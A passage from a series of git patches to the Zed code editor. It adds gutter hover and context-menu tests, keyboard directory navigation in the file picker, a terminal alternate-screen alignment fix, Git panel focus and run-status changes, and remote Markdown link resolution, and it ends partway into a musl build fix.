+    hover_over_gutter_row_zero(&mut cx);
+    cx.update_editor(|editor, _, _| {
+        assert!(
+            editor.gutter_hover_button.0.is_some(),
+            "expected gutter hover button to be armed for a saved buffer"
+        );
+        assert!(!editor.gutter_hover_button.0.as_ref().unwrap().is_active);
+    });
+
+    cx.executor().advance_clock(Duration::from_millis(250));
+    cx.run_until_parked();
+    cx.update_editor(|editor, _, _| {
+        assert!(
+            editor
+                .gutter_hover_button
+                .0
+                .as_ref()
+                .is_some_and(|indicator| indicator.is_active),
+            "expected gutter hover button to become active after the debounce"
+        );
+    });
+}
+
+#[gpui::test]
+async fn test_gutter_hover_button_hidden_for_unsaved_buffer(cx: &mut TestAppContext) {
+    let mut cx = build_gutter_hover_test_editor(false, cx).await;
+
+    hover_over_gutter_row_zero(&mut cx);
+    cx.update_editor(|editor, _, _| {
+        assert!(
+            editor.gutter_hover_button.0.is_none(),
+            "expected no gutter hover button for an unsaved buffer"
+        );
+        assert!(
+            editor.gutter_hover_button.1.is_none(),
+            "expected no debounce task to be armed for an unsaved buffer"
+        );
+    });
+
+    cx.executor().advance_clock(Duration::from_millis(250));
+    cx.run_until_parked();
+    cx.update_editor(|editor, _, _| {
+        assert!(editor.gutter_hover_button.0.is_none());
+    });
+}
+
+fn right_click_gutter_row_zero(cx: &mut EditorTestContext) {
+    cx.update(|window, cx| {
+        window.refresh();
+        let _ = window.draw(cx);
+    });
+
+    let gutter_bounds = cx.update_editor(|editor, _, _| {
+        editor
+            .last_position_map
+            .as_ref()
+            .expect("expected editor position map")
+            .gutter_hitbox
+            .bounds
+    });
+
+    let click_position = gutter_bounds.center();
+    cx.simulate_mouse_down(click_position, MouseButton::Right, Modifiers::none());
+}
+
+#[gpui::test]
+async fn test_gutter_context_menu_shown_for_saved_buffer(cx: &mut TestAppContext) {
+    let mut cx = build_gutter_hover_test_editor(true, cx).await;
+
+    right_click_gutter_row_zero(&mut cx);
+    cx.update_editor(|editor, _, _| {
+        assert!(
+            editor.mouse_context_menu.is_some(),
+            "expected gutter context menu to open for a saved buffer"
+        );
+    });
+}
+
+#[gpui::test]
+async fn test_gutter_context_menu_hidden_for_unsaved_buffer(cx: &mut TestAppContext) {
+    let mut cx = build_gutter_hover_test_editor(false, cx).await;
+
+    right_click_gutter_row_zero(&mut cx);
+    cx.update_editor(|editor, _, _| {
+        assert!(
+            editor.mouse_context_menu.is_none(),
+            "expected no gutter context menu for an unsaved buffer"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_breakpoint_after_save_as_existing_path(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/element/mouse.rs b/crates/editor/src/element/mouse.rs
index 5c0709c8d2d1e2..4d174e71c08601 100644
--- a/crates/editor/src/element/mouse.rs
+++ b/crates/editor/src/element/mouse.rs
@@ -184,11 +184,16 @@ impl EditorElement {
                 .snapshot
                 .display_point_to_anchor(valid_point, Bias::Left);
 
+            // Breakpoints and bookmarks are keyed by absolute file path, so the
+            // gutter button would be a no-op for buffers without a worktree file
+            // (e.g. untitled buffers). Hide it there.
             if position_map
                 .snapshot
                 .buffer_snapshot()
                 .anchor_to_buffer_anchor(buffer_anchor)
-                .is_some()
+                .is_some_and(|(_, buffer_snapshot)| {
+                    project::File::from_dyn(buffer_snapshot.file()).is_some()
+                })
             {
                 let is_visible = editor
                     .gutter_hover_button

From cb8a0170ff5db90878ee362610bf97cc013e73f0 Mon Sep 17 00:00:00 2001
From: vinod akshat <pumkininriver@gmail.com>
Date: Wed, 22 Jul 2026 08:42:34 +0000
Subject: [PATCH 617/772] Picker: Support child and parent navigation (
 menu::SelectChild and menu::SelectParent in PickerDelegate ) fixes (#61053)
 (#61314)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Provides directory navigation (forward and backward) inside the
built-in system file finder / path prompt using keyboard
  shortcuts.
- Fixes #61053

## Solution

1. Extended `PickerDelegate` trait with `select_child` and
`select_parent` methods following conventions from other methods such as
`confirm_completion` (defaulting to `None`)
2. Implemented the new delegate methods inside `OpenPathDelegate`:
- `select_child`: Finds the selected directory candidate, appends it to
the current path query, and appends the path separator.
- `select_parent`: Moves upwards by trimming the current directory and
getting the parent directory path.
3. Added listeners for `Self::select_child` and `Self::select_parent` in
the `/crates/picker/src/render.rs`

## Testing

- Did you test these changes? If so, how?
I actually went ahead and changed the keybindings in
`/assets/keymaps/default-macos.json` as shown :
```json
  {
    "context": "Picker > Editor",
    "use_key_equivalents": true,
    "bindings": {
      "escape": "menu::Cancel",
      "up": "menu::SelectPrevious",
      "down": "menu::SelectNext",
      // I binded to shift arrow because I wanted to keep the cursor movement still relevant
      "shift-left": "menu::SelectParent",// shift left
      "shift-right": "menu::SelectChild",// shift right
      "tab": "picker::ConfirmCompletion",
      "alt-enter": ["picker::ConfirmInput", { "secondary": false }],
      "cmd-alt-enter": ["picker::ConfirmInput", { "secondary": true }]
      // Picker bindings (TogglePreview, SetPreviewRight/Below/Hidden,
      // ToggleActionsMenu) live in keymaps/specific-overrides-macos.json, which
      // is loaded after the base keymap so they win over conflicting base-keymap
      // Editor bindings.
    }
  },
```
Then I did manual testing as shown in the Showcase Section.
I did not push this change as I was not sure if this was required as the
bug was about adding support for child and parent navigation.

- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
This is my first Pull Request in a large Open Source Repository, so any
feedback on testing conventions or additional edge cases would be
especially helpful.

- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase
<img width="2404" height="1136" alt="Screen Recording 2026-07-20 at 12
52 06 AM"
src="https://github.com/user-attachments/assets/462e382d-5396-4a01-b75f-0199612cd062"
/>


---

Release Notes:

- Fixed child and parent directory navigation in the built-in folder
finder using the left and right arrow keys.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 .../open_path_prompt/src/open_path_prompt.rs  | 38 +++++++++++++++++
 crates/picker/src/picker.rs                   | 41 +++++++++++++++++++
 crates/picker/src/render.rs                   |  2 +
 3 files changed, 81 insertions(+)

diff --git a/crates/open_path_prompt/src/open_path_prompt.rs b/crates/open_path_prompt/src/open_path_prompt.rs
index 5fa29d453acf0a..cbbebeb6a7f990 100644
--- a/crates/open_path_prompt/src/open_path_prompt.rs
+++ b/crates/open_path_prompt/src/open_path_prompt.rs
@@ -577,7 +577,45 @@ impl PickerDelegate for OpenPathDelegate {
             .ok();
         })
     }
+    fn select_child(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<String> {
+        let candidate = self.get_entry(self.selected_index)?;
+        if candidate.path.string.is_empty() || !candidate.is_dir {
+            return None;
+        }
+        let path_style = self.path_style;
+        match &self.directory_state {
+            DirectoryState::List { parent_path, .. }
+            | DirectoryState::Create { parent_path, .. } => Some(format!(
+                "{}{}{}",
+                parent_path,
+                candidate.path.string,
+                path_style.primary_separator()
+            )),
+            DirectoryState::None { .. } => None,
+        }
+    }
 
+    fn select_parent(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<String> {
+        let parent_path = match &self.directory_state {
+            DirectoryState::List { parent_path, .. }
+            | DirectoryState::Create { parent_path, .. } => parent_path,
+            DirectoryState::None { .. } => return None,
+        };
+        if parent_path == &self.prompt_root {
+            return None;
+        }
+        let trimmed = parent_path.trim_end_matches(['/', '\\']);
+        let (dir, _) = get_dir_and_suffix(trimmed.to_string(), self.path_style);
+        Some(dir)
+    }
     fn confirm_completion(
         &mut self,
         query: String,
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index 9f8baac0cbad98..ad20dfc28ce4b8 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -301,6 +301,27 @@ pub trait PickerDelegate: Sized + 'static {
     ) -> Option<String> {
         None
     }
+    /// Called when `SelectChild` fires (e.g. shift-right-arrow). Return `Some(query)`
+    /// to step into the currently selected item (e.g. a directory); the picker
+    /// will set the query and refresh matches.
+    fn select_child(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<String> {
+        None
+    }
+
+    /// Called when `SelectParent` fires (e.g. shift-left-arrow). Return `Some(query)`
+    /// to step back to the parent; the picker will set the query and refresh
+    /// matches.
+    fn select_parent(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Option<String> {
+        None
+    }
 
     fn editor_position(&self) -> PickerEditorPosition {
         PickerEditorPosition::default()
@@ -1002,6 +1023,26 @@ impl<D: PickerDelegate> Picker<D> {
             cx.propagate()
         }
     }
+    fn select_child(&mut self, _: &menu::SelectChild, window: &mut Window, cx: &mut Context<Self>) {
+        if let Some(new_query) = self.delegate.select_child(window, cx) {
+            self.set_query(&new_query, window, cx);
+        } else {
+            cx.propagate()
+        }
+    }
+
+    fn select_parent(
+        &mut self,
+        _: &menu::SelectParent,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(new_query) = self.delegate.select_parent(window, cx) {
+            self.set_query(&new_query, window, cx);
+        } else {
+            cx.propagate()
+        }
+    }
 
     fn set_preview_right(
         &mut self,
diff --git a/crates/picker/src/render.rs b/crates/picker/src/render.rs
index 6abdf57113917c..d9bf085707ea80 100644
--- a/crates/picker/src/render.rs
+++ b/crates/picker/src/render.rs
@@ -192,6 +192,8 @@ impl<D: PickerDelegate> Picker<D> {
             .on_action(cx.listener(Self::editor_move_up))
             .on_action(cx.listener(Self::select_first))
             .on_action(cx.listener(Self::select_last))
+            .on_action(cx.listener(Self::select_child))
+            .on_action(cx.listener(Self::select_parent))
             .on_action(cx.listener(Self::cancel))
             .on_action(cx.listener(Self::confirm))
             .on_action(cx.listener(Self::secondary_confirm))

From 37b9fbf22bb3d938ecbfaa9fe440c325cc999e66 Mon Sep 17 00:00:00 2001
From: XiaoYan Li <lxy.lixiaoyan@gmail.com>
Date: Wed, 22 Jul 2026 08:50:59 +0000
Subject: [PATCH 618/772] terminal: Keep alternate screen bottom-aligned
 (#61325)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #61236

## Solution

This regression was introduced by #56715, which switches the alignment
based on whether the last row contains any content. However, this logic
can cause issues in the alternate screen. This PR fixes the problem by
excluding the alternate screen from the detection logic.

## Testing

Open Zed’s integrated terminal and run a program that uses the alternate
screen, such as Vim or Helix.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/ffc1ca56-596a-439a-8672-12868f9dc112

---

Release Notes:

- Fixed flickering in the integrated terminal when using the alternate
screen.
---
 crates/terminal_view/src/terminal_element.rs | 3 ++-
 crates/terminal_view/src/terminal_view.rs    | 7 +++++++
 2 files changed, 9 insertions(+), 1 deletion(-)

diff --git a/crates/terminal_view/src/terminal_element.rs b/crates/terminal_view/src/terminal_element.rs
index 84c5f986617745..5d94ff37aeb33a 100644
--- a/crates/terminal_view/src/terminal_element.rs
+++ b/crates/terminal_view/src/terminal_element.rs
@@ -1035,7 +1035,8 @@ impl Element for TerminalElement {
                     if matches!(self.terminal_view.read(cx).mode, TerminalMode::Standalone) {
                         let should_anchor_to_bottom = {
                             let content = self.terminal.read(cx).last_content();
-                            content.scrolled_to_bottom && content.bottom_row_occupied
+                            content.mode.contains(Modes::ALT_SCREEN)
+                                || (content.scrolled_to_bottom && content.bottom_row_occupied)
                         };
                         let scale_factor = window.scale_factor();
                         let line_height_pixels = px(line_height);
diff --git a/crates/terminal_view/src/terminal_view.rs b/crates/terminal_view/src/terminal_view.rs
index 1e1c4b7819096a..3dad6134174ae1 100644
--- a/crates/terminal_view/src/terminal_view.rs
+++ b/crates/terminal_view/src/terminal_view.rs
@@ -3119,6 +3119,13 @@ mod tests {
         assert_eq!(bounds.bottom(), draw_size.height);
     }
 
+    #[gpui::test]
+    async fn test_short_alt_screen_stays_bottom_anchored_on_resize(cx: &mut TestAppContext) {
+        let (bounds, draw_size) = draw_standalone_terminal(b"\x1b[?1049h$ ", cx).await;
+        assert!(bounds.origin.y > px(0.));
+        assert_eq!(bounds.bottom(), draw_size.height);
+    }
+
     #[gpui::test]
     async fn test_tab_content_shows_terminal_title_when_custom_title_directly_set_empty(
         cx: &mut TestAppContext,

From 948486f8494fefe194561b41a4c02a678bf04c4c Mon Sep 17 00:00:00 2001
From: Malin Dhamsara Ruwan Pathirana <maliniqrub@gmail.com>
Date: Wed, 22 Jul 2026 08:53:44 +0000
Subject: [PATCH 619/772] Fix git file context menu focus issue (#61339)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Objective #61331

Ensure the Git panel receives focus when a file context menu is opened.
Previously, focusing the menu immediately could prevent the Git panel
from becoming focused.

## Solution

Defer focusing the context menu’s focus handle until the next window
update cycle. This allows the menu to be established before focus is
applied, preserving expected focus behavior in the Git panel.

## Testing

- Automated tests were not run.
- The change should be manually tested by opening a file context menu
from the Git panel and confirming the Git panel remains focused and
keyboard interaction with the menu works as expected.
- This is a UI focus change and should be verified on supported desktop
platforms.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable



## Showcase

### Previously


https://github.com/user-attachments/assets/28fb7f9b-3e1f-4939-a8ae-13b33ac0d805

### Now


https://github.com/user-attachments/assets/d85e7459-d260-41bc-955c-37a269be23c1


Release Notes:

- Fixed Git panel focus when opening a file context menu
---
 crates/git_ui/src/git_panel.rs | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 55b1f9ffb25279..c84c8c3cb92d55 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -7226,7 +7226,10 @@ impl GitPanel {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        window.focus(&context_menu.focus_handle(cx), cx);
+        let focus_handle = context_menu.focus_handle(cx);
+        window.defer(cx, move |window, cx| {
+            window.focus(&focus_handle, cx);
+        });
 
         let subscription = cx.subscribe_in(
             &context_menu,

From b6dac6ca30df1c3bd4b7d34f53ac64da6cd8a4a0 Mon Sep 17 00:00:00 2001
From: Ruslan Semagin <pixel.365.24@gmail.com>
Date: Wed, 22 Jul 2026 09:03:13 +0000
Subject: [PATCH 620/772] Add gutter action to clear run status (#61375)

# Objective

Add a way to manually clear completed run statuses from the gutter.

Folow-up to #61095

This follows up on feedback from the previous gutter run status PR.
Currently, editing a file clears run statuses automatically, but there
was no direct way to clear a completed status without changing the file.

## Solution

- Added a `Clear Run Status` entry to the gutter context menu.
- Show the entry only when the row has a completed run status.
- Clear the stored run status for that runnable when selected.
- Keep running statuses unchanged, so this does not behave like task
cancellation.

## Testing

- Ran `cargo check -p editor`.
- Manually ran a test from the gutter and waited for a completed status.
- Verified right-clicking the gutter icon shows `Clear Run Status`.
- Verified selecting `Clear Run Status` clears the status icon.
- Verified the action is not shown for rows without a completed run
status.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


[after.webm](https://github.com/user-attachments/assets/1ae284e1-03b1-4842-a63e-9d66c290b325)

---

Release Notes:

- Improved gutter run statuses by allowing completed statuses to be
cleared from the gutter context menu.
---
 crates/editor/src/editor.rs    | 28 +++++++++++++++++++++++++++-
 crates/editor/src/runnables.rs | 32 +++++++++++++++++++++++++++++++-
 2 files changed, 58 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 4a93aae5dfd964..5203bcbf1b5b1c 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -4151,6 +4151,7 @@ impl Editor {
     fn gutter_context_menu(
         &self,
         anchor: Anchor,
+        display_row: DisplayRow,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Entity<ContextMenu> {
@@ -4213,6 +4214,15 @@ impl Editor {
         };
         let has_bookmark = bookmark.as_ref().is_some();
 
+        let clear_runnable_task_status = self
+            .runnable_task_key_for_display_row(display_row, window, cx)
+            .filter(|(buffer_id, buffer_row)| {
+                matches!(
+                    self.runnable_task_status(*buffer_id, *buffer_row),
+                    Some(RunnableTaskStatus::Passed | RunnableTaskStatus::Failed)
+                )
+            });
+
         let run_to_cursor = window.is_action_available(&RunToCursor, cx);
 
         let toggle_state_entry: Option<(&str, Box<dyn Action>)> =
@@ -4231,6 +4241,22 @@ impl Editor {
         ContextMenu::build(window, cx, |menu, _, _cx| {
             menu.on_blur_subscription(Subscription::new(|| {}))
                 .context(focus_handle)
+                .when_some(
+                    clear_runnable_task_status,
+                    |this, (buffer_id, buffer_row)| {
+                        this.entry("Clear Run Status", None, {
+                            let weak_editor = weak_editor.clone();
+                            move |_window, cx| {
+                                weak_editor
+                                    .update(cx, |this, cx| {
+                                        this.clear_runnable_task_status(buffer_id, buffer_row, cx);
+                                    })
+                                    .log_err();
+                            }
+                        })
+                        .separator()
+                    },
+                )
                 .when(run_to_cursor, |this| {
                     let weak_editor = weak_editor.clone();
                     this.entry(
@@ -5847,7 +5873,7 @@ impl Editor {
             return;
         }
 
-        let context_menu = self.gutter_context_menu(anchor, window, cx);
+        let context_menu = self.gutter_context_menu(anchor, display_row, window, cx);
 
         self.mouse_context_menu = MouseContextMenu::pinned_to_editor(
             self,
diff --git a/crates/editor/src/runnables.rs b/crates/editor/src/runnables.rs
index 7e0cc27706f33a..7ccecf101f5272 100644
--- a/crates/editor/src/runnables.rs
+++ b/crates/editor/src/runnables.rs
@@ -18,7 +18,8 @@ use ui::{Clickable as _, Color, IconButton, IconSize, Toggleable as _};
 
 use crate::{
     CodeActionSource, Editor, EditorSettings, EditorStyle, RangeToAnchorExt, SpawnNearestTask,
-    ToggleCodeActions, UPDATE_DEBOUNCE, display_map::DisplayRow,
+    ToggleCodeActions, UPDATE_DEBOUNCE,
+    display_map::{DisplayPoint, DisplayRow},
 };
 
 #[derive(Debug)]
@@ -67,6 +68,10 @@ impl RunnableData {
         self.task_statuses.insert((buffer_id, buffer_row), status);
     }
 
+    pub fn clear_task_status(&mut self, (buffer_id, buffer_row): (BufferId, BufferRow)) {
+        self.task_statuses.remove(&(buffer_id, buffer_row));
+    }
+
     pub fn task_key_for_offset(
         &self,
         buffer_id: BufferId,
@@ -441,6 +446,31 @@ impl Editor {
         cx.notify();
     }
 
+    pub(crate) fn clear_runnable_task_status(
+        &mut self,
+        buffer_id: BufferId,
+        buffer_row: BufferRow,
+        cx: &mut Context<Self>,
+    ) {
+        self.runnables.clear_task_status((buffer_id, buffer_row));
+        cx.notify();
+    }
+
+    pub(crate) fn runnable_task_key_for_display_row(
+        &self,
+        display_row: DisplayRow,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Option<(BufferId, BufferRow)> {
+        let snapshot = self.snapshot(window, cx);
+        let multibuffer_row =
+            MultiBufferRow(DisplayPoint::new(display_row, 0).to_point(&snapshot).row);
+        let (buffer_snapshot, range) = snapshot
+            .buffer_snapshot()
+            .buffer_line_for_row(multibuffer_row)?;
+        Some((buffer_snapshot.remote_id(), range.start.row))
+    }
+
     pub(crate) fn runnable_task_key_for_offset(
         &self,
         buffer_id: BufferId,

From 9d0ef37a25711c00bf6d1ba1142e9de4f4a122a9 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Wed, 22 Jul 2026 09:10:58 +0000
Subject: [PATCH 621/772] markdown_preview: Fix relative links in remote
 Markdown subfolders (#61438)

Closes #58270

In remote projects, Markdown previews resolved relative links from the
project root instead of the Markdown file's folder. Links worked for
files in the root but could fail or open the wrong file for files in
subfolders.

Zed now resolves these links from the Markdown file's folder. The fix
updates base path handling in `open_url_or_file`. Only Markdown Preview
passes a base path to this function.

I tested it on macOS with a Linux SSH host and on Windows with WSL.

Release Notes:

- Fixed relative links in Markdown previews for files in subfolders when
using SSH or WSL.
---
 .../src/markdown_preview_view.rs              | 57 +++++++++---
 crates/workspace/src/workspace.rs             | 92 ++++++++++++++-----
 2 files changed, 117 insertions(+), 32 deletions(-)

diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index bf9bfcf7a63e91..98088370f01df7 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -643,15 +643,20 @@ impl MarkdownPreviewView {
 
     /// The absolute path of the file that is currently being previewed.
     fn get_folder_for_active_editor(editor: &Editor, cx: &App) -> Option<PathBuf> {
-        if let Some(file) = editor.file_at(MultiBufferOffset(0), cx) {
-            if let Some(file) = file.as_local() {
-                file.abs_path(cx).parent().map(|p| p.to_path_buf())
-            } else {
-                None
-            }
-        } else {
-            None
-        }
+        let file = editor.file_at(MultiBufferOffset(0), cx)?;
+        let absolute_path = editor
+            .project()
+            .and_then(|project| {
+                project.read(cx).absolute_path(
+                    &ProjectPath {
+                        worktree_id: file.worktree_id(cx),
+                        path: file.path().clone(),
+                    },
+                    cx,
+                )
+            })
+            .or_else(|| file.as_local().map(|file| file.abs_path(cx)))?;
+        absolute_path.parent().map(Path::to_path_buf)
     }
 
     fn line_scroll_amount(&self, cx: &App) -> Pixels {
@@ -1802,9 +1807,10 @@ mod tests {
     use crate::markdown_preview_view::resolve_preview_image;
     use buffer_diff::BufferDiff;
     use editor::Editor;
+    use fs::FakeFs;
     use gpui::{AppContext as _, Entity, Focusable as _, TestAppContext, WindowHandle};
-    use language::Point;
-    use project::{FakeFs, Project};
+    use language::{Buffer, DiskState, Point};
+    use project::Project;
     use serde_json::json;
     use std::path::PathBuf;
     use std::sync::Arc;
@@ -2769,6 +2775,35 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn derives_remote_preview_source_directory(cx: &mut TestAppContext) {
+        init_test(cx);
+        let project = Project::test(FakeFs::new(cx.executor()), [], cx).await;
+        let worktree = project.update(cx, |project, cx| {
+            project.add_test_remote_worktree("/remote/project", cx)
+        });
+        let file: Arc<dyn language::File> = Arc::new(project::File {
+            worktree,
+            path: rel_path("docs/readme.md").into(),
+            disk_state: DiskState::New,
+            entry_id: None,
+            is_local: false,
+            is_private: false,
+        });
+        let buffer = cx.new(|cx| {
+            let mut buffer = Buffer::local("# readme\n", cx);
+            buffer.file_updated(file, cx);
+            buffer
+        });
+        let (editor, cx) =
+            cx.add_window_view(|window, cx| Editor::for_buffer(buffer, Some(project), window, cx));
+
+        let folder = editor.read_with(cx, |editor, cx| {
+            MarkdownPreviewView::get_folder_for_active_editor(editor, cx)
+        });
+        assert_eq!(folder, Some(PathBuf::from("/remote/project/docs")));
+    }
+
     fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
         cx.update(|cx| {
             let state = AppState::test(cx);
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index eb454d9c64c7e3..879d0201fc9be6 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -4749,7 +4749,7 @@ impl Workspace {
             );
             (**cx)
                 .spawn(async move |cx| {
-                    if let Err(_) = task.await {
+                    if task.await.is_err() {
                         cx.update(|cx| cx.open_url(&url_or_path));
                     }
                 })
@@ -4768,6 +4768,7 @@ impl Workspace {
         // Not a valid URL - treat as a file path
         let project = self.project();
         let path_style = project.read(cx).path_style(cx);
+        let project_is_local = project.read(cx).is_local();
 
         // If it's an absolute path, open it directly
         if path_style.is_absolute(url_or_path) {
@@ -4777,29 +4778,36 @@ impl Workspace {
 
         let path = Path::new(url_or_path);
         // Try to resolve relative path against base_path first
-        if let Some(base) = base_path
-            // TODO: remotes, the exists check below hits the local FS, unsure
-            // if this runs on the remote or not
-            && project.read(cx).is_local()
-        {
-            let resolved = path_style.join(base, path).map(PathBuf::from);
-            if let Some(resolved) = resolved
-                && resolved.exists()
-            {
-                open_abs_path(self, resolved, cx);
-                return;
+        let path_from_base = if let Some(base) = base_path {
+            let resolved_path = path_style.join(base, path).map(PathBuf::from);
+            if project_is_local {
+                if let Some(resolved_path) = resolved_path
+                    && resolved_path.exists()
+                {
+                    open_abs_path(self, resolved_path, cx);
+                    return;
+                }
+                None
+            } else {
+                resolved_path
             }
-        }
+        } else {
+            None
+        };
 
         // Try to resolve against project worktrees
-        if let Some(project_path) =
-            project.update(cx, |project, cx| project.find_project_path(url_or_path, cx))
-        {
+        let project_path = project.update(cx, |project, cx| {
+            path_from_base
+                .as_deref()
+                .and_then(|base_path| project.find_project_path(base_path, cx))
+                .or_else(|| project.find_project_path(path, cx))
+        });
+        if let Some(project_path) = project_path {
             let url_or_path = url_or_path.to_owned();
             let task = self.open_path(project_path, None, true, window, cx);
             (**cx)
                 .spawn(async move |cx| {
-                    if let Err(_) = task.await {
+                    if task.await.is_err() {
                         cx.update(|cx| cx.open_url(&url_or_path));
                     }
                 })
@@ -16269,9 +16277,12 @@ mod tests {
         // View
         struct TestPngItemView {
             focus_handle: FocusHandle,
+            project_path: ProjectPath,
         }
         // Model
-        struct TestPngItem {}
+        struct TestPngItem {
+            project_path: ProjectPath,
+        }
 
         impl project::ProjectItem for TestPngItem {
             fn try_open(
@@ -16280,7 +16291,8 @@ mod tests {
                 cx: &mut App,
             ) -> Option<Task<anyhow::Result<Entity<Self>>>> {
                 if path.path.extension().unwrap() == "png" {
-                    Some(cx.spawn(async move |cx| Ok(cx.new(|_| TestPngItem {}))))
+                    let project_path = path.clone();
+                    Some(cx.spawn(async move |cx| Ok(cx.new(|_| TestPngItem { project_path }))))
                 } else {
                     None
                 }
@@ -16291,7 +16303,7 @@ mod tests {
             }
 
             fn project_path(&self, _: &App) -> Option<ProjectPath> {
-                None
+                Some(self.project_path.clone())
             }
 
             fn is_dirty(&self) -> bool {
@@ -16328,7 +16340,7 @@ mod tests {
             fn for_project_item(
                 _project: Entity<Project>,
                 _pane: Option<&Pane>,
-                _item: Entity<Self::Item>,
+                item: Entity<Self::Item>,
                 _: &mut Window,
                 cx: &mut Context<Self>,
             ) -> Self
@@ -16337,6 +16349,7 @@ mod tests {
             {
                 Self {
                     focus_handle: cx.focus_handle(),
+                    project_path: item.read(cx).project_path.clone(),
                 }
             }
         }
@@ -16527,6 +16540,43 @@ mod tests {
             assert!(handle.is_err());
         }
 
+        #[gpui::test]
+        async fn test_open_url_or_file_resolves_remote_base_path(cx: &mut TestAppContext) {
+            init_test(cx);
+            cx.update(register_project_item::<TestPngItemView>);
+
+            let project = Project::test(FakeFs::new(cx.executor()), [], cx).await;
+            let worktree = project.update(cx, |project, cx| {
+                let worktree = project.add_test_remote_worktree("/remote/project", cx);
+                project.mark_as_collab_for_testing();
+                worktree
+            });
+            let worktree_id = worktree.read_with(cx, |worktree, _| worktree.id());
+            let (workspace, cx) =
+                cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+            workspace.update_in(cx, |workspace, window, cx| {
+                workspace.open_url_or_file(
+                    "./sibling.png",
+                    Some(Path::new("/remote/project/docs")),
+                    window,
+                    cx,
+                );
+            });
+            cx.run_until_parked();
+
+            let opened_item = workspace
+                .read_with(cx, |workspace, cx| {
+                    workspace
+                        .active_item(cx)
+                        .and_then(|item| item.downcast::<TestPngItemView>())
+                })
+                .expect("resolved remote project item should be opened");
+            let project_path = opened_item.read_with(cx, |item, _| item.project_path.clone());
+            assert_eq!(project_path.worktree_id, worktree_id);
+            assert_eq!(project_path.path.as_ref(), rel_path("docs/sibling.png"));
+        }
+
         #[gpui::test]
         async fn test_register_project_item_two_enter_one_leaves(cx: &mut TestAppContext) {
             init_test(cx);

From 9aa48e46e92b656cd19667a17b937c10e37d559c Mon Sep 17 00:00:00 2001
From: Nitin Krishna Mucheli <70827815+NewtonChutney@users.noreply.github.com>
Date: Wed, 22 Jul 2026 09:37:55 +0000
Subject: [PATCH 622/772] Fix musl linking failure in bundle-linux by setting
 CC for musl target (#61203)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Fixes https://github.com/zed-industries/zed/issues/24880

# Objective
"Assisted/analysed by AI"
> The remote_server musl build failed with undefined references to
__isoc23_sscanf and __isoc23_strtol from aws-lc-sys because the default
